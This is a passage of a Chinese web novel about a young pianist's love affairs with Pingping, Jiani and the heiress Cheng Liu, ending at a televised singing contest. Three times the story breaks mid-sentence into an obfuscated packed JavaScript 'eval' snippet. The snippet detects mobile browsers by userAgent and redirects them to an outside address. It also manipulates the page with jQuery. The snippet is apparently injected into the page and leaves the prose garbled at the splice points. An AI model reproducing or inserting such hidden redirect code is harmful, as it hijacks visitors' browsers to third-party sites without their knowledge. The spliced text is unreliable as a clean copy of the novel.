一来二去，就熟了。平平邀小关到家里做客，给她冲果珍喝，拿来各式小点心摆在她面前。她家的房子很大很漂亮，白色的窗帘，缀着深深的蕾丝边，随风飘扬，很美，地上铺的是大理石，亮闪闪，照出拘谨的身影，墙上挂的是这个县城里某书法家的真迹，龙飞凤舞的字： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660293|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行到水穷处，坐看云起时。 客厅里摆放着一架白色钢琴，平平说：“我懒得学，你会吗？” 小关说：“我能试试吗？” 小关在琴行学过钢琴，但需要排队，一个星期顶多弹上两回，此刻看到平平家的钢琴，惊喜是难以言喻的，得到她的同意后，立刻投入了，浑然忘我。 当她从钢琴上下来，平平看她的眼神明显不一样了：“你真厉害！” 厉害吗，小关也不知道。她翻看着自己的手指，微微地笑起来。 六年级结束的那个暑假，小关泡在平平家，练习着钢琴，她就要考级了，得拼命些。平平的父母都去上班了，家里很安静，厨房里飘着绿豆汤的香味，桌上摆着葡萄和香蕉。 平平坐在一旁看着小关，一连两个小时，不错开眼神。她怕小关热着，去楼下给她买西瓜。 西瓜真沉啊，满头大汗地提上来，刚进门，西瓜骨碌地滚到地上，摔成两半，那就将错就错吧，洗干净，插上两只勺，舀着吃。 给小关递西瓜时，她刚好弹完《月光曲》，一回头，就看到平平的笑脸，看到她的汗珠子不断地滴落，却顾不上擦，捧着西瓜，关切地说：“渴了吧，来，先吃点东西。” 这样好的女孩，单纯，善良，一颗心里全是她。小关顷刻间失控，站起身，用力地，用力地，将平平抱紧，抱紧。 平平回抱了她。 西瓜又滚落下来，一地鲜红的瓤，但谁也不想理会。 她们在沙发上拥抱，隔着薄薄的衣衫，双方都颤抖得厉害，隐晦地摸索着彼此的唇，沿着纹路，来回地蹭。 ——都以为，这就是吻了。 最干净的吻，一生只得这一次。后来的亲吻，都是舌与舌的缠绵，潮湿，□□，直接导向欲望。 那么多第一次，第一次吃面包，第一次吃葡萄干，第一次吃梅花糕，第一次亲吻，第一次，在心里，装了一个人。 她们的爱情持续了三年，以平平爱上别人告终。怎么会爱上别人呢，分明好得如胶似漆。可她说，他是男人，我应该爱男人。 没有别的理由，她说，我现在懂事了。 那个雨天，小关从平平那里，拿回了酸梅粉的小勺子，扔到江水里。 两人考取不同的高中，再路遇，只淡淡地打个招呼，渐行渐远。 第二个三年到来时，小关认识了佳妮。 佳妮说：“你爱的，还是童年时代的那只蜻蜓，一直都是。” 小关侧头看她，佳妮说：“它在高高的枝头，你以仰望的姿态认识了它。从前的平平，现在的我，在你看来，都是很耀眼很优秀的，相识一场，你想争取。而争取的唯一方式，在你看来，是超越。” 小关承认佳妮说得对，佳妮说：“没必要这样辛苦，小关。我可以不飞，陪你在大地上走。” 小关说：“我喜欢飞翔。走吧，我带你去见我的外婆。” 5. 5 外婆头发全白了，穿着厚棉袄，在大灶边烤着火，打着盹，舅舅和姨妈们都在厨房里忙碌着，见着小关，点点头，接着忙自己的事情。 外婆的孩子很多，小关的妈妈又去得早，爸爸是个硬脾气，从不向他们求助，就是过年过节的时候来看看外婆，和别的亲戚很生分，小关自然和他们也没多少来往。 小关给外婆说：“这是我同学，佳妮。” 外婆笑咪咪地拉着佳妮的手：“怎么不回家过年？” 佳妮说：“要回去的，腊月二十九的车票。” 外婆端详着佳妮：“这孩子生得真精致，眉是眉眼是眼的，好看。” 在小关的方言里，有很多书面语，比如，把昨天称为昨日，明天则是明朝，形容女孩子好看，叫精致。佳妮红着脸说：“谢谢外婆。”其实她何尝不知道，自己不美，但老一辈的审美观念不同，乖巧，就是美了。 外婆想吃烤橘子，小关出去拿，她一走，外婆就说，“小关一向孤单，没有什么朋友。她不爱说话，能把你带回来，说明你们很要好。” 佳妮说得很小心：“是呀，我们是最好的朋友。” 外婆笑着从佳妮手中抽出自己的手，抚着她的头发，问：“佳妮？” “对，佳妮。”小关拿着一篮子橘子走进来，“外婆，佳妮，就是好姑娘的意思。” 佳妮和小关陪外婆说了一会儿话，没等到开饭就告辞，外婆了解小关，也没有强留，只说让她照顾好自己，多关心爸爸：“你爸身体不好，开出租太累了，你多劝劝他，找个轻松的营生做。” 小关说：“我劝过，他犟，不肯听。” 外婆叹气：“他说过，想多赚点钱。” 出了外婆家，时间还早，小关提议看电影。在县影剧院门口，小关从阿婆手中买了两包瓜子，旧报纸，卷成圆锥形，瓜子都被盛在里面，五角钱一包。 “小时候卖三毛。”瓜子还是熟悉的葵花子味道，有点咸，两人去买果汁喝，小关说，“有年县里来了个京剧团，我天天混着进去看，《狸猫换太子》、《铡美案》，每次都抢在台边坐着，他们在上面唱，我在下面学，结果被团长看到了，还说要收我为徒，带我走，我挺开心的，但爸爸不让。” 佳妮说：“不去为好，唱京剧，太难出头了。不过，《霸王别姬》还真好看。” “我曾在这家电影院里看过，在街边和人打扑克，赚了点钱，就跑来买票。”小关剥着瓜子，喂给佳妮吃，“真可惜，它那样好看，在我们这里，票房居然很一般。” 佳妮说：“不是所有的人都能接受禁忌之爱，你明白。” 小关问：“那么，你怕吗？” 佳妮说：“我不怕。爸爸呢，你会对他说吗？” 小关说：“会的。他什么都支持我。包括我和苹苹分手，一难过，就去理了个光头，他也没反对。” 佳妮问：“他知道苹苹和你的关系？” 小关说：“我没告诉他。但他不反对我理光头。” 佳妮说：“但对长辈来说，要认可我们的关系，比你推一个光头，要严峻许多。” 小关晃荡着腿，满不在乎地说：“我相信爸爸不会让我失望。” 看完电影，外面人潮如织，县城里最气派的建筑物——县政府大楼耸立在面前，小关眯起眼睛：“我刚追你那会儿，对自己说，将来，我一定要有名有利，成为你的骄傲。” 佳妮说：“你在我身边，就是我的骄傲，无关名利。” 小关固执道：“不，我要让人知道，佳妮放弃了那么多条件优越的人，选择和我在一起，是值得的。因为男人能带给她的，我一样也可以。” “我不要那些。”佳妮说，“不要太顽固，你想给的，不一定就是我所要的。” 小关说：“我等在你楼下那些天，我还想过，如果我名利双收了，你还是不要我的话，我就要做一件惊天动地的事情，狠狠地给你一棒子，让你后悔，一直一直后悔，一想到我就后悔，一直后悔到你老，到你死。” 三年后，在学校的琴房里，小关懒懒地弹着钢琴，佳妮坐在旁边，听她说话：“你记得以前说过，如果没追到你，我就要用自己的成就来让你遗憾吗？” 佳妮说：“记得。” 小关说：“到现在心态终于平和了，我现在就希望你能过得好，很满意现状，希望能继续，真的。” 佳妮说：“我们一起幸福。” 小关举起手，看了又看：“我学琴的第一年，老师对我说，他这辈子，只做得好一件事情，那就是弹琴。到现在，我想，我这辈子，估计也就是在音乐上发展了，这也是我仅会的东西，总有一天，我要送你一样礼物，你不要都不行。”她捧着她的脸，重复着，“真的，宝宝，你不要都不行。” 2005年的某天，小关，佳妮的小关，面对潮水般的欢呼，唱了那首歌，泪落如雨，她说：“佳妮，我终于送了一样礼物给你了。” 主持人立即问：“请问，佳妮是你的爱人的名字吗？” 屏幕面前的佳妮心跳到嗓子口，她怕小关承认，更怕主持人的下一个问题是，请问，佳妮是女生吗。 小关有的是直面一切的勇气，但这样的率性，对她的星途并无益处，相反，会将她推向峰口浪尖。佳妮并不愿意为了满足自己的虚荣心，就令所爱之人陷入困境。 还好，小关轻轻地笑：“她明白的。” 我一生只能做好一件事情，而这件事情，是以你命名的，佳妮，你知道，我知道，至于她们，就不用知道了吧。 当天回到家，爸爸还没有回来，小关搬了两只小板凳，和佳妮到屋后的院子里聊天。 院子里种满了蔬菜，小白菜的长势喜人，刚经霜打，味道更是好。右边有口井，两人坐在井边说话，剥板栗。晚上要做板栗仔鸡，这是爸爸爱吃的菜。 “以往的夏天，很热，我在练琴，爸爸给我打着蒲扇，家里种了杨梅的，放到井水里镇一下，再拿上来吃，味道特别好。”小关说，“今年夏天，我再带你回来。” 小关，此后每年夏天，我都曾经回来过。远远地看到你和爸爸，相扶相携，我转身离去。你没有看见我，我亦不会让你看见。 小关，小关小关。 剥好了板栗，两人进了屋，坐在小关的卧室里，交握着手，相看两不厌。 电视开着，放的是83年的《射雕英雄传》，杨康和穆念慈的爱情。小关说：“金庸的旧作里写，在最后的铁枪庙里，念慈赶着去看他，月光浮上来，他的身体慢慢冷却，她只温柔地抚着他的脸，问，你记不记得我是谁？” 她放弃了问他，你爱我吗，你最爱的，是我吗……诸如此类问题，赶来看他最后一面，善待他，爱怜他，问他，你还记不记得我是谁？ 你还记不记得我是谁？小关，我从未怀疑过。 这场爱情看得人唏嘘不已，小关默然良久，问佳妮：“她为什么接受郭靖给她的孩子取名为过？” 佳妮说：“书里说，是希望这孩子不要像他的父亲那样作恶多端，要有过必改。” 小关摇头：“我想，穆念慈接受这个名字，是要让孩子记得，过儿，你的爹和娘，曾经爱过，走过。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660294|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >曾经爱过，走过。小关，后来，我曾经回过学校，在紫藤花架附近的蜜泉亭边坐了一夜，九月的雨声哗哗，落了一池的泪。 爸爸回来了，他将车停在院子里，拿着喝水的瓶子走进来。他用来喝水的，是废弃的矿泉水瓶，两个，水都喝得差不多了，嘴唇还裂着，他戴着她送的手套，脸冻得通红。佳妮心里一酸。 小关让爸爸歇着，她去弄饭。爸爸就看电视，佳妮帮他捏肩。她向来懂得和长辈相处，将爸爸哄得很开心，还找出影集，一张张地讲给她听，这张，是小关念小学的第一天，在家门口照的，相机是从邻人那里借来的，这张，是小关拿了学校唱歌比赛的第一名，别提多神气了，再一张，是她考上了重点高中…… 小关没料到的是，吃饭时，爸爸主动提起：“看看佳妮多乖，以后要待她好一点。” 小关和佳妮对视，含笑道：“我和她最要好了，会的。” 爸爸给佳妮夹了一块鸡肉，转向小关：“你在想什么，我最清楚不过。” 小关望着爸爸的眼睛，心提到嗓子口：“爸？” 爸爸一笑：“我的孩子从小就和别人不一样，你当我看不出来？” 佳妮不知所措地望着爸爸。这幸福来得如此迅疾。 “爸……你不怪我？”小关的一生，都不能穿上婚纱，让爸爸愉快地派烟给邻人和亲友，亦不能和亲家下棋，过节时相互走动，让冷清多年的家门热闹起来，更不能享受子孙满堂，承欢膝下，太多太多父亲都能拥有这些权利，但他唯一的女儿，不能给予他这些。俗世里最简单最朴素的愿望，他样样落空。样样落空。 爸爸伸出手给小关看：“我用左手开车吃饭，这也没有什么不对吧。” 小关喜极而泣，爸爸哄着这一双小女儿：“傻孩子，爸爸这辈子只剩你了，别说是要我接受你喜欢女孩，就是要我的命都没有关系。你怎样都行，爸就是希望你能平平安安的。” 爸一直都知道，也许在很久很久以前，就知道。他有过难眠之夜吗，他是否也曾辗转反侧苦苦思索，是否也自苦过？爸，谢谢你的成全。爸，如果你无法接受，我会克制自己，克制到老，到死，我不要你难受。 但是爸爸，你居然给了我这样浩大的惊喜。爸爸。 “我家三代单传，你爷爷奶奶去得早，我又没有别的兄弟姐妹，你妈妈也不在了，我只剩下你一个了，如果再令你不开心，还有什么意思呢。”爸爸说，“我小时候，用左手拿笔写字，端碗吃饭，你奶奶看到一次，就打一次，把我的手掌打烂了，我都改不过来，以至于在很长时间里，对吃饭都产生了恐惧。时间一长，你奶奶也没办法，只好由着我了。活了四十多年，我用左手干活，也不比别人来得慢，而且，天下不止我一个人这样，也没什么不对的。天生就这样，扳都扳不过来，又有什么办法。” 佳妮靠在爸爸怀里流着眼泪。再看小关，她哭得像个泪人。 爸爸拍拍佳妮的肩膀：“小关从小就很孤独，我没有把她照顾好，这些年，她很少交朋友，但能把你带回家，我知道她是很用心的，你们既然决定在一起，就好好的吧。” 佳妮大力点头。小关说：“爸爸最疼我，我喜欢音乐，他就送我去学，说在音乐里，我才愿意说话，才是高兴的，只要我高兴就好。这一回，也不例外。” “爸爸是伟大的爸爸。”佳妮只会说这么一句话。 三天后，送佳妮上火车时，爸爸将小关和佳妮的手放在一起，感叹着说：“我自己的孩子，我清楚，你想要幸福，我怎么会阻止？不过，你们生活在社会里，不要太张扬，收敛点为好。” 6. 6 真的是想过终老吧，真是想过的，永远良辰美景，再不分开。要老到很老很老的时候，头发银白，牙齿松落，满脸皱成菊花地相扶相携，说起年轻的旧事，笑得泪光闪闪。 就像若干年后的城市里，满街霓虹闪耀，她在台上，她在台下，听她说起过去的故事，说起青葱岁月里，最难忘的人和事。 毕业后，佳妮回过学校，一个人拿了《青蛇》在暑假的操场上反复地看，只是，开放在1996年的爱情，再也不会回来。 彼时她们已无联系，佳妮远走英伦求学，小关留在国内，她找了三份工作，洋酒销售，酒吧驻唱，给小孩子们教钢琴，将日程排得紧紧，重庆女郎程柳一再反对，她也不依。 程柳看着她的眼睛，问：“你要什么，我都给你，为什么还要这样？” 为什么还要这样，小关也不知道。无数夜里，她回到学校，在操场上奋力跑步，将一瓶矿泉水倒在仰起的面孔上，以为，就此，可以掩住那些四分五裂的泪水。 她从此再也没有见过佳妮。虽然她买下了同居的那套小房子，她说，怕她不认得回来的路。 时光如水，匆匆而过。小关买回大量的碟片，睡不着觉的夜里，听它们在碟机里吱吱作响。枕边的女郎已然睡去。她看着程柳的脸，幻化为十五岁的佳妮，仿佛一伸手，她还在。 她从未稍离。 我们获得了家庭的首肯，我们彼此相爱，我们所有的天堑变成通途，但谁料，到了最后，逃不过错失。 当数家唱片公司纷纷向小关抛来橄榄枝，想和她签约，出唱片，继而唱而优则演，小关拒绝了，干脆而彻底，她说：“我即将离开这里。” 主持人问：“你要去哪里？” 小关回答：“欧洲。” 举座哗然。 通过大屏幕，佳妮看到小关笑意沧桑：“我想去学艺术。” 这是当初，她和佳妮的约定，如今，是时候实现它了。她再也不会贫穷，再也不会捱穷，再也，什么都不怕。 全球五十二个城市同步现场直播的这场大型综艺节目里，小关婉言谢拒了进军娱乐圈的建议，诚恳表示，之所以来参加比赛，只想能有机会当着众人的面，唱一首歌，为失去的人和事。 大屏幕上，一幕幕回放着自最初的报名现场，到半决赛，到决赛，到问鼎桂冠，小关坎坷走来的星路，歌迷的眼神热切而悲哀，随她一同回望前尘。 起先是她穿白衬衣，米色长裤，抱着吉他，低着头，头发安静地垂下来，遮住眼睛，轻声唱：有人问我你究竟是哪里好，这么些年我还忘不了，春风再美也比不上你的笑，没见过你的人不会明了。 然后是她应评委要求，唱柔歌跳慢舞，唱：昨夜我梦见自己那么努力那么心虚，独自在空荡荡的台上演戏，可怜兮兮，thecityissoempty，只因为这里没有你，thecityissoempty，这天地彷佛要失去主题。 接着是她擅长的各种乐器才艺展示，以拉丁舞姿配，唱观众耳熟能详的欧美大片的主题曲，怀旧而亲切，尤其是苏联小调《莫斯科郊外的晚上》更是迅速笼络中老年听众的心：长夜快过去，天色蒙蒙亮。衷心祝福你好姑娘，但愿从今后，你我永不忘。 ……便是这样杀到决赛，一举成名天下知。 留学英伦的佳妮一次次地想过，如果，如果没有遇见程柳，小关会是什么样子，是不是会在日复一日的失望里，变得颓废，失去斗志，成为潦倒之人。但事实上，很多事情，并无如果。遇见程柳，是小关生命里一宗必然之事，不是她，也会是别人。 那是1999年的5月，佳妮即将出国，她是可以不去的，但小关放手任她去飞，她说，等她归来，无论如何，等她归来。 佳妮举棋不定，迟迟未给校方以答复。此时的小关事业屡屡受挫，在音乐上丝毫不见起色。论外型，论才华，论唱腔，无一不好，但就是被唱片公司一拒再拒，遭遇拒绝的次数多了，她逐渐心灰意懒，学会了喝酒抽烟。 也有人建议小关去北京发展，但北京，多少在音乐上有过人之处的年轻人怀着梦想去了，结果不过只能在酒吧里驻唱，极少数，极少数才能熬出头，天知道那有多难。小关不想离开佳妮，也不再有赌一把的激情，况且在哪个酒吧不是一样地唱？做生不如做熟。 佳妮出国的事宜摆上日程时，小关请假，和她一同回去看望爸爸。爸爸更加苍老了，眼神也大不如前，开车是件危险的事情，小关和佳妮都担忧他。 回校时，她们买了两瓶红茶，意外地中了奖，获得游览三峡的机会，遂同游。 轮船顺流而下，白帝城，鬼城丰都，一一游来。抵达丰都是清晨，雾气朦朦，青石板铺成的路面上湿漉漉的，有女子撑着伞缓步走过。走得近了，一看，极小的县城，竟然也有此等绝色，白皮肤，大眼睛，身材小巧而丰满，说的是四川方言，娇嗲甜美，一颦一笑，俱是成熟的风情。 牵手在小城散步，一直有雾气笼罩，十步之内，必有佳丽，且是清水出芙蓉的那类，看得人目不暇接。只可惜，这么好的地方，因为三峡工程，不久后，将永远地消失于水底。 她们获的奖并不大，船票是四等舱，下面是末等，在江水里晃荡，佳妮有点头晕，和小关出来透气，迎着江水，随意说着闲话，笑得前俯后仰，也感染了同舱的人，大家纷纷地都出来了，善意地看着两人说笑。也有年轻的男人过来和佳妮搭讪，问她有没有十八岁，可不可以交个朋友。 男人生得白净，个子不高，斯斯文文，自我介绍说是做网络的，还递上名片。1999年时，网络是个先锋的玩意儿，马上就有人围过来问东问西了，男人感到很有面子，倾囊相告，还不住地观察佳妮的反应。 但佳妮并无任何艳羡的表示，摆弄着名片，和小关继续说话。倒是小关觉得这样不大礼貌，拿过名片看了看。 男人叫周陵川，金陵的陵，四川的川，他解释说父亲是南京人，母亲是川妹子，名字里暗合了父母的籍贯。他对佳妮一见钟情，展开激烈的追求，他在南京工作，回去后就辞职了，一心向学，两年后考取剑桥，追随着她。 当然，这已是后话，暂且不表。 入夜，繁星点点，映照在江面上，稍一弯腰，便可探到江水。前方便是葛洲坝，灯火通明，游客都出来了，小关和佳妮在甲板上追逐戏闹，模拟着《泰坦尼克号》的著名造型，冷不丁，有什么东西从天而降，小关下意识地一把接住。 是一只漂亮的ZIPPO打火机，小小的一块，银灰色，四周镶嵌着小颗钻石，应该是限量版发售的，价值不菲。她抬头，顶层的豪华舱上，穿白色裙子的女郎正探身望下来。 小关朝她扬手，女郎笑了：“你等等我。” 她一步步地跑近，连奔跑的姿势都优雅。待她近了，小关和佳妮同时倒吸一口气，这女郎的眉眼，宛如平平。确切地说，如果平平有三十岁，就该是这女郎的模样。 中年版的平平接过小关还给她的打火机，在夜色里，露出笑容：“它对我来说，太珍贵了，刚才把玩着，一时失手，要不是你，只怕……” 自此相识。女郎叫程柳，父亲是国内著名集团的总裁，身家数亿。 程柳自年轻时就游戏人生，玩得很开。其父只有她这么一个宝贝女儿，不大管她，由她去，她愈发玩得疯，去澳门赌球，去香港赛马，在巴黎一住就是半年，日子过得荒淫刺激。她长得美，开极拉风的悍马，男人趋之若骛。越是这样，她对男人越不上心，蹉跎到28岁，竟对小关动了情。 怎么能不动情呢，22岁的小关，短发俊朗，眉目如画，沉稳有礼，不卑不亢，极易和讨好程柳的男人区分开来。 小关是那样白衣楚楚的少年，有着程柳从未亲历的气质，她向小关陈明心迹，想和她在一起，不理会佳妮就站在小关身旁。 佳妮隐约感到大势已去，但设若输给程柳这样的女子，似乎并不是难以接受。佳妮想，她美，而且有钱。 程柳直抒胸臆：“我喜欢你。” 女郎如此美，身材又极好，穿露脐白色短裙，腰身盈盈一握，半分赘肉也无。小关轻笑，拦住她的手，神情骄矜，携佳妮离去：“晚了，先走。” 有些什么，是一定会发生了。一夜沉默。小关拂着佳妮的发，佳妮没动，小关不再继续，隔得近，清晰地听到彼此的呼吸声，黑暗里，眼泪爬了佳妮一脸。 小关知道她在装睡，但不去点破。 次日清晨，程柳来找小关，笃定地笑，问：“想好了吗？” 小关不回答她，握住佳妮的手。佳妮翻了个身，面对墙壁，发丝凌乱。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660295|172914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳觉察自己的残忍，并不着急，飘然而去。 小关不敢看佳妮，脸侧到一旁：“宝宝。” 佳妮忽地坐起来：“说什么爱我爱我，但我不如名利更重要。” 小关垂下眼睛：“想想杨康。天性上的东西，无可变更。你能否认他爱念慈吗？” 佳妮说：“我没有捱过苦，但我懂得金钱的妙处，可小关，君子爱财，取之有道。” 小关说：“这个世界，都是拿所有的，换没有的，卖身和卖脑一样凄惶，以物易物，很公平。” 佳妮向外走去：“她出资，你出人，祝福你们。” 小关没有追上来。蛰伏在她心头的兽，在咆哮。 佳妮在下一站下了船，回校后，她着手办理出国事宜。小关再未露面。 机场里，佳妮所有的亲戚都赶来送她，但汹涌人潮里，再也没有了那个人。 一去经年，两人再无联系。佳妮走过夏日街，和周陵川重逢，可那又如何，他不是那个人。 即使那个人，早已牺牲了她。以残酷的方式，离开她的生命。 佳妮拒绝了周陵川。世间情事，兜兜转转，不外乎是这样，有人伤你的心，你转而去伤别人的心。 后来有一回，佳妮去中国城买饺子，在一家店铺门口，听到小关的声音，千真万确，是她。 佳妮推门走进去。老板是中国大陆人，刚出国，从中国带来几盘CD，其中一张综合CD里，有小关的单曲。 但只是单曲。没有人为她出专辑。小关小关，难道程柳不能为你带来这些？ 佳妮买下CD，只为其中的一首歌。轻摇滚，唱腔却很重，辅以多种乐器，编曲简单，钢琴声音华丽至虚无，高音部分刻意处理得很粗砺，听来很是撕心裂肺。 我知道我的眼睛在黑暗中紧闭 可是梦中醒来却刺痛回忆 酒醉后的感觉是我无谓的冷漠 你在耳边说你将要离去 我抚摸你的身体掩埋苍白的自己 可是伤痕累累一切在枯萎 伴着我是你永恒的美丽 我却感到今夜我想要死去 也许拥抱还能给你一丝快意 可是我感到的只有恐惧 也许我的眼神里不再有幻觉 因为我知道我想要死去 想要死去想要死去 想要死去想要死去 老板为佳妮一瞬间的落寞所动，开始追求她。这几年，佳妮褪去从前的青涩，穿刺绣的裙子，头发披下来，笑容宛然，是众人眼里，有味道的女子。 佳妮无可无不可地和老板谈着恋爱，说不上好，也说不上不好，总之，日子缓慢地过下去，偶尔，她会想起那首《死去》。 想起曾在玻璃窗上，写那个女生的名字，她淋得一身雨地站在楼下，小关小关。想起在无人的深夜马路上，偷摘路旁的蔷薇，脱掉鞋子，拎在手上，和她并肩快乐地奔跑。想起她带她回家，她说，如果我名利双收了，你还是不要我的话，我就要做一件惊天动地的事情，狠狠地给你一棒子，让你后悔，一直一直后悔，一想到我就后悔，一直后悔到你老，到你死。 想起最后，自己决然离去。 佳妮在剑桥毕业后，去荷兰从事艺术类工作，那是少年时她和小关说过要定居的地方。再然后，她回了国，依然从事艺术类工作，但没有去找小关。因为宽容因为爱过，永远不怪她，但也无法再和她在一起。 屏幕上，直播结束，以小关获得大赛冠军而告终，她态度明确地宣布，即将远走欧洲学艺术，不会进军娱乐圈。 佳妮知道原因。小关不再缺钱，可以随心所欲地做自己想做的事情。至于程柳……程柳，她是如何离开的，那不是问题的关键。那是个率性的女郎，率性地爱了，率性地，可以不爱。而且，她那样聪明，未必看不出来，小关的心里始终有别人。 无数的歌迷簇拥着小关走出电视台大厅，来到广场上，她微笑着，向许愿池走来，接受众人的祝福。 然后，她看到那身穿长裙的女孩。她的旧日恋人对她一笑，转身走进人海里。 如今你终获成功，我很欣慰，毕竟这是少年从前我们共同的心愿。我们以前没有过正式的告别，就此别过吧，小关。 ——2005年11月16日——